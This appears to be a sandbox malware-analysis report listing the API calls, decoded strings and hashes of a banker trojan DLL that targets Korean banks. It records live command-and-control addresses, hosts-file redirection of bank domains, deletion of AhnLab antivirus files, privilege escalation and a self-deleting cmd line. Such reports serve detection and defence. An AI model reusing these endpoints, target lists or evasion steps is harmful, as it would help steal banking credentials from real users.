inet_addr.WS2_32(127.0.0.1), ref: 100058EC
closesocket.WS2_32(?), ref: 10005964
closesocket.WS2_32(00000000), ref: 10005967

Strings

c:\3.txt, xrefs: 1000594C
ahnlab, xrefs: 10005804
8.8.8.8, xrefs: 1000562D
iRecv=0, xrefs: 10005947
www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 100057D9
%s|, xrefs: 100057BB
alyac, xrefs: 100057F4
v3lite, xrefs: 10005814
127.0.0.1, xrefs: 1000568F, 100058E7

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: htons$inet_addr$closesocketsocket$SleepStartupbindioctlsocketmallocselectwsprintf
String ID: %s|$127.0.0.1$8.8.8.8$ahnlab$alyac$c:\3.txt$iRecv=0$v3lite$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 1328051524-4015207955
Opcode ID: d30cd6855118c4ed05db812acc6ca3ede84177798b14eb5f2c727256319347d2
Instruction ID: 59d3b204b2808b52f16618dbfe599499a9605bca090f4b5bd4268c99c502d16b
Opcode Fuzzy Hash: d30cd6855118c4ed05db812acc6ca3ede84177798b14eb5f2c727256319347d2
Instruction Fuzzy Hash: 3DA19D31608344ABE710DB64CC85BAFBBE9EFC8744F00491DF68597290DBB5EA48CB56

Function 100051B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 100051CA
GetProcAddress.KERNEL32(00000000,GetExtendedUdpTable), ref: 100051DA
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000), ref: 100051F1
malloc.MSVCRT ref: 1000520A
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000,?,?,1000BBB2,00000035), ref: 10005230

Strings

GetExtendedUdpTable, xrefs: 100051D0
iphlpapi.dll, xrefs: 100051B5

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExtendedTable$AddressLibraryLoadProcmalloc
String ID: GetExtendedUdpTable$iphlpapi.dll
API String ID: 2385667234-1809394930
Opcode ID: 9cda4d2d937ca9ea04656a738db3750c05e85a8b7bb6ff9873d4febcff501f4c
Instruction ID: 96f58e0131db4c2794c4102475dfcdcfa91b6622e08c4e565781b4b339fe8ff8
Opcode Fuzzy Hash: 9cda4d2d937ca9ea04656a738db3750c05e85a8b7bb6ff9873d4febcff501f4c
Instruction Fuzzy Hash: 9021E171204302ABE710DB28EC85BAB33E4EF857A0F014625F995C62C0D736D989CBA2

Function 1000C230 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sprintf.MSVCRT ref: 1000C249
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 1000C266
DeviceIoControl.KERNEL32(00000000,00074080,00000000,00000000,?,00000018,?,00000000), ref: 1000C298
GetLastError.KERNEL32(00000400,?,00000000,00000000), ref: 1000C2AC
FormatMessageA.KERNEL32(00001300,00000000,00000000), ref: 1000C2BA

Strings

\\.\PHYSICALDRIVE%d, xrefs: 1000C243

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ControlCreateDeviceErrorFileFormatLastMessagesprintf
String ID: \\.\PHYSICALDRIVE%d
API String ID: 1111953355-613073274
Opcode ID: 2acd1e0c19e908a93b7c5b7100dcee112086fd50c9f33c41a1c608c64b3fe2b4
Instruction ID: 5ad80bb175373b9c79a99d82296efbae5e1858b0759fafeee38c0ba9caf204da
Opcode Fuzzy Hash: 2acd1e0c19e908a93b7c5b7100dcee112086fd50c9f33c41a1c608c64b3fe2b4
Instruction Fuzzy Hash: EE4128762503046BF324DA38DC46FEB7395EBD8760F508729FA55CB1C0EEB59A088395

Function 10004F60 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
CloseHandle.KERNEL32 ref: 10004FD5

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: 6492371ed49e88a72c7fec690fb5aec638d8b1baddfd75691bf953eb0ca51b84
Instruction ID: c701719b87b05cfe8771a17752f492869be4f49267ac35e7975cb97a64b2d278
Opcode Fuzzy Hash: 6492371ed49e88a72c7fec690fb5aec638d8b1baddfd75691bf953eb0ca51b84
Instruction Fuzzy Hash: B001D7B8608301ABE704DF64C885B6A77E8FBC8B45F40891CF58986294DB74D945CB62

Function 1000C160 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,0007C088,?,00000020,?,00000210,1000C305,00000000), ref: 1000C1B0

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction ID: 86cc3cd5e500d09f34f504799c04322c58a7eb8eb055a7fb12ab9f39681c7df9
Opcode Fuzzy Hash: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction Fuzzy Hash: 98F0A96228A3C29EE302CB688855BD2FFA47B76710F0CD7C9E1D85B283C2548598D766

Function 10004AA0 Relevance: 1.5, APIs: 1, Instructions: 6processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000000,00000000,10006A02,00000002,00000000,00000000,00000000), ref: 10004AAA

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: ffb66c5084afd78fca587a2f1059ca1cf85e345028acd843578f3c2e5860b739
Instruction ID: 060d65689bf084ce19dac5ab6480e93eac1479a40d4c6f650e99f699fddfa71d
Opcode Fuzzy Hash: ffb66c5084afd78fca587a2f1059ca1cf85e345028acd843578f3c2e5860b739
Instruction Fuzzy Hash: BEB09276104200ABD204DB10C984C2BB7E8AB94340B008808F88682110C634D880CB21

Function 1000BB20 Relevance: 77.3, APIs: 29, Strings: 15, Instructions: 267
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006ACE
Part of subcall function 10006AA0: GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006AE5
Part of subcall function 10006AA0: GetModuleFileNameA.KERNEL32(10000000,c:\ftelcs\rjqzr.dll,00000104), ref: 10006AF7
Part of subcall function 10006AA0: strrchr.MSVCRT ref: 10006B25
Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006B3D
Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006B4E
Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006B5F

PathFileExistsA.SHLWAPI(c:\test.1), ref: 1000BB32
GetCurrentProcessId.KERNEL32 ref: 1000BB3C

Part of subcall function 10004FF0: OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,76F90F00), ref: 10004FFD
Part of subcall function 10004FF0: TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
Part of subcall function 10004FF0: CloseHandle.KERNEL32(00000000), ref: 10005017

ExitProcess.KERNEL32 ref: 1000BB4D
CreateMutexA.KERNEL32(00000000,00000001,Mkrnaver.com:6520), ref: 1000BB5D
GetLastError.KERNEL32 ref: 1000BB63
Sleep.KERNEL32(000007D0), ref: 1000BC33
DeleteFileA.KERNEL32(?), ref: 1000BC36
CreateThread.KERNEL32(00000000,00000000,10009280,00000000,00000000,00000000), ref: 1000BC5B
Sleep.KERNEL32(000003E8), ref: 1000BC62

Strings

krnaver.com:6520, xrefs: 1000BC8D, 1000BD0B
Mkrnaver.com:6520, xrefs: 1000BB54
c:\ftelcs\ReadMe.txt, xrefs: 1000BB8E, 1000BBDA
c:\windows\system32, xrefs: 1000BC0B
123, xrefs: 1000BBBA
c:\test.1, xrefs: 1000BB2D
cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s", xrefs: 1000BE1C
d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p, xrefs: 1000BCAA
www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 1000BCE3
SeDebugPrivilege, xrefs: 1000BB7F
c:\wiseman.exe, xrefs: 1000BBF8, 1000BC12
aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw, xrefs: 1000BC7E
http://107.163.241.204:12354/show.php, xrefs: 1000BCB9
c:\ftelcs, xrefs: 1000BE13
MTc0LjEzOS42NS44Njo1NjU4MA==, xrefs: 1000BC6D

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FileProcesswsprintf$CreateModuleNameSleep$CloseCurrentDeleteErrorExistsExitHandleLastMutexOpenPathTerminateThreadstrrchr
String ID: 123$MTc0LjEzOS42NS44Njo1NjU4MA==$Mkrnaver.com:6520$SeDebugPrivilege$aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw$c:\ftelcs$c:\ftelcs\ReadMe.txt$c:\test.1$c:\windows\system32$c:\wiseman.exe$cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s"$d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p$http://107.163.241.204:12354/show.php$krnaver.com:6520$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 666504283-2884798123
Opcode ID: eeceb974db4162b4b79dbcfdfdf24e000be0470a91cd1a8cc186129b97d64d08
Instruction ID: 5cd0a8869e93d6a979fce39eaddf385ca287bc042528285295ef5772baaaf24e
Opcode Fuzzy Hash: eeceb974db4162b4b79dbcfdfdf24e000be0470a91cd1a8cc186129b97d64d08
Instruction Fuzzy Hash: 42710275784B043BF260E7B49C47FAA3581DB85B95F210618F706BE1C6DEE0FA44816E

Function 10007640 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 168
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 100076EB
strstr.MSVCRT ref: 1000770F
strcspn.MSVCRT ref: 1000771E
strstr.MSVCRT ref: 1000772A
strcspn.MSVCRT ref: 10007739
strncpy.MSVCRT ref: 10007742
strstr.MSVCRT ref: 1000777F
strcspn.MSVCRT ref: 10007792
strncpy.MSVCRT ref: 100077A2
strcspn.MSVCRT ref: 100077B2
atoi.MSVCRT(?), ref: 100077B9
WSAStartup.WS2_32(00000202,?), ref: 100077D3
htons.WS2_32(00000000), ref: 100077E5
socket.WS2_32(00000002,00000001,00000000), ref: 1000780A
connect.WS2_32(00000000,?,00000010), ref: 1000781A
closesocket.WS2_32(00000000), ref: 10007826

Strings

http://, xrefs: 100076E5

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strcspnstrstr$strncpy$Startupatoiclosesocketconnecthtonssocket
String ID: http://
API String ID: 2221484516-1121587658
Opcode ID: e796253f5733396ff72147a4a2ef7bd5d4f44e6beee7f9c8da961514743a8591
Instruction ID: 0e5d105b79d1c08d9eecff392c4fb5612e00c83b4c249196a63be804c0ca8b01
Opcode Fuzzy Hash: e796253f5733396ff72147a4a2ef7bd5d4f44e6beee7f9c8da961514743a8591
Instruction Fuzzy Hash: 0851D4312043406BE314DB34CC45BEBB7D9FFC9354F404A2DFA5997280EB79D65886A6

Function 10009290 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 205
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155

Sleep.KERNEL32(0000EA60), ref: 100092D8
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 10009323
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000932F
Sleep.KERNEL32(000927C0), ref: 10009470
wsprintfA.USER32 ref: 100094C1
Sleep.KERNEL32(000927C0), ref: 1000951B

Strings

QVlSVFNydi5heWU=, xrefs: 100092A8
iOffset, xrefs: 10009457
QVNEU3ZjLmV4ZQ==, xrefs: 1000929E
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 1000934F
c:\1.txt, xrefs: 1000945C
http://107.163.241.204:12354/show.php, xrefs: 10009417
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 10009331

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$DirectorySystem$lstrcpywsprintf
String ID: QVNEU3ZjLmV4ZQ==$QVlSVFNydi5heWU=$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$c:\1.txt$http://107.163.241.204:12354/show.php$iOffset
API String ID: 2291147283-2972267883
Opcode ID: 3947ad85ef8615cbfb42fece4b63a6b130437b3477a6dfc2854689d71249a6be
Instruction ID: 4b4f84e37046363ba8aa3a5b9b5c37e80be516aa45bc2cdeab28b5ca764bbc5e
Opcode Fuzzy Hash: 3947ad85ef8615cbfb42fece4b63a6b130437b3477a6dfc2854689d71249a6be
Instruction Fuzzy Hash: 515147755046446BE765C674CC52BEB36C6EBC83D0F100A3CF74A872C6EE71EA498692

Function 10004DA0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 145
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,76F90F00,10005086,00000000,self), ref: 10004DFC
strrchr.MSVCRT ref: 10004E09
CreateFileA.KERNEL32(?,10000000,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
time.MSVCRT(00000000), ref: 10004E7F
_localtime32.MSVCRT(?), ref: 10004E8E
strftime.MSVCRT ref: 10004EA1
vsprintf.MSVCRT ref: 10004EF3
sprintf.MSVCRT ref: 10004F13
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10004F3D
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 10004F44

Strings

%s%s, xrefs: 10004F0D
log.txt, xrefs: 10004E1D

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerWrite_localtime32sprintfstrftimestrrchrtimevsprintf
String ID: %s%s$log.txt
API String ID: 2392943451-1489102009
Opcode ID: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction ID: d5d278936535e4cba90bc0b152de8e4c93260a9cf759ec48f07ff2ba3d5d953d
Opcode Fuzzy Hash: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction Fuzzy Hash: DF41B5B1148345AFE328CB74CC899EB7BA9EBC8350F404A2DF75A872D0DFB499098651

Function 1000B6A0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 189
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6F9

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155

Sleep.KERNEL32(000927C0), ref: 1000B822
wsprintfA.USER32 ref: 1000B8A7
WinExec.KERNEL32(cmd.exe /c ipconfig /flushdns,00000000), ref: 1000B8C9
Sleep.KERNEL32(000927C0), ref: 1000B8D5

Strings

8.8.8.8, xrefs: 1000B8B0
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 1000B716
http://107.163.241.204:12354/show.php, xrefs: 1000B7DB
cmd.exe /c ipconfig /flushdns, xrefs: 1000B8C4
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 1000B6FB
127.0.0.1, xrefs: 1000B8B5

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DirectorySleepSystem$Execlstrcpywsprintf
String ID: 127.0.0.1$8.8.8.8$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$cmd.exe /c ipconfig /flushdns$http://107.163.241.204:12354/show.php
API String ID: 3328814713-1394719493
Opcode ID: 5ededa175b8e96c9b9bc53b0268d409d7794e43692312860f689a34b4737d91d
Instruction ID: 88cf6c134119007ad9893c1780bc282dad92caf7e2c613694f1faa43efeb6312
Opcode Fuzzy Hash: 5ededa175b8e96c9b9bc53b0268d409d7794e43692312860f689a34b4737d91d
Instruction Fuzzy Hash: 6C517F71504A486BE764CE74CC51AEB3BCAEBC8290F104A3CF7468B2D5EE75D948C391

Function 00F307DD Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 151
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,ABAD1000,00001000,00000040,00F31100), ref: 00F3085C
wsprintfA.USER32 ref: 00F308E1
wsprintfA.USER32 ref: 00F30900
MessageBoxA.USER32(00000000,File corrupt.,Application error,00000010), ref: 00F30918
ExitProcess.KERNEL32(00000000), ref: 00F30920
VirtualFree.KERNELBASE(00F40000,00000000,00008000,ED815D00), ref: 00F30969

Strings

File corrupt., xrefs: 00F30915
SWVU, xrefs: 00F30864, 00F30878, 00F3087E, 00F30884, 00F308A1
Application error, xrefs: 00F30914
The procedure %s could not be located in the DLL %s., xrefs: 00F308F8
The ordinal %d could not be located in the DLL %s., xrefs: 00F308D9

Memory Dump Source

Source File: 00000006.00000002.3803214756.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_rundll32.jbxd

Similarity

API ID: Virtualwsprintf$AllocExitFreeMessageProcess
String ID: Application error$File corrupt.$SWVU$The ordinal %d could not be located in the DLL %s.$The procedure %s could not be located in the DLL %s.
API String ID: 81942880-1423270863
Opcode ID: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction ID: 8f6bbf9fa76d40dc9cdc13d791236ba6c4de124a8037939fdff4ea8bfd2c8c8a
Opcode Fuzzy Hash: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction Fuzzy Hash: E5418D3264170A9FEB38CF14CC54FEB73A9EF44360F04421AED4697249EF70A8119B90

Function 10007850 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 100078B3

Part of subcall function 10004940: InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Strings

title, xrefs: 10007A57, 10007A68
http://blog.sina.com.cn/u/%s, xrefs: 100078A7
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 100078D5

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpenwsprintf
String ID: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$http://blog.sina.com.cn/u/%s$title
API String ID: 4197039022-1204782975
Opcode ID: 999803450e33462b64aaa07c69cc296db7b29de33b2c74d620c9af4bde4234c4
Instruction ID: 82104e091b356ad4de5d2ae183cb47f0814ad9c1a023d1d303f6ff2c213bd519
Opcode Fuzzy Hash: 999803450e33462b64aaa07c69cc296db7b29de33b2c74d620c9af4bde4234c4
Instruction Fuzzy Hash: F1D14D76E002446FEB14CF68DC81BFEBBA5FB44260F10426EF9199B6C1DA769E01C791

Function 10006F70 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 151
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F9F
GlobalMemoryStatusEx.KERNEL32(?), ref: 10007059
GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 100070B2

Part of subcall function 10004C70: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,76F90F10,?,1000AAC6,?,76F90F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,76F90F00), ref: 10004C65

Strings

09161305, xrefs: 10007087
%u MB, xrefs: 1000707C
@, xrefs: 10007050
Find CPU Error, xrefs: 10007011
ProcessorNameString, xrefs: 10006FC1
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 10006F82
http://107.163.241.204:12354/show.php, xrefs: 10007135

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDefaultGlobalLanguageMemoryOpenQueryStatusSystemValue
String ID: %u MB$09161305$@$Find CPU Error$HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString$http://107.163.241.204:12354/show.php
API String ID: 2543995030-3890994293
Opcode ID: 04e96228e0e3d9f47cdf2a2d425d0abb0993c31dc86e1b0c7f7d2b12df92022a
Instruction ID: 316c48cea05fc17e5b33d1146d442ec5acb36131d7d9cd43852f4a50c879d7bc
Opcode Fuzzy Hash: 04e96228e0e3d9f47cdf2a2d425d0abb0993c31dc86e1b0c7f7d2b12df92022a
Instruction Fuzzy Hash: B141F6766002045BE718CA38DC41BAB77D5FBC8350F544A2CFA59CB2C5EE78A9088795

Function 1000B8E0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 1000B95F
DeleteFileA.KERNEL32(?), ref: 1000B96F
wsprintfA.USER32 ref: 1000B990
DeleteFileA.KERNEL32(?), ref: 1000B99A
DeleteFileA.KERNEL32(C:\1.vbs), ref: 1000B9A1

Strings

InstallPath, xrefs: 1000B92A
%s\ASDSvc.exe, xrefs: 1000B959
U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==, xrefs: 1000B92F
%s\V3Lite.exe, xrefs: 1000B98A
C:\1.vbs, xrefs: 1000B99C

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

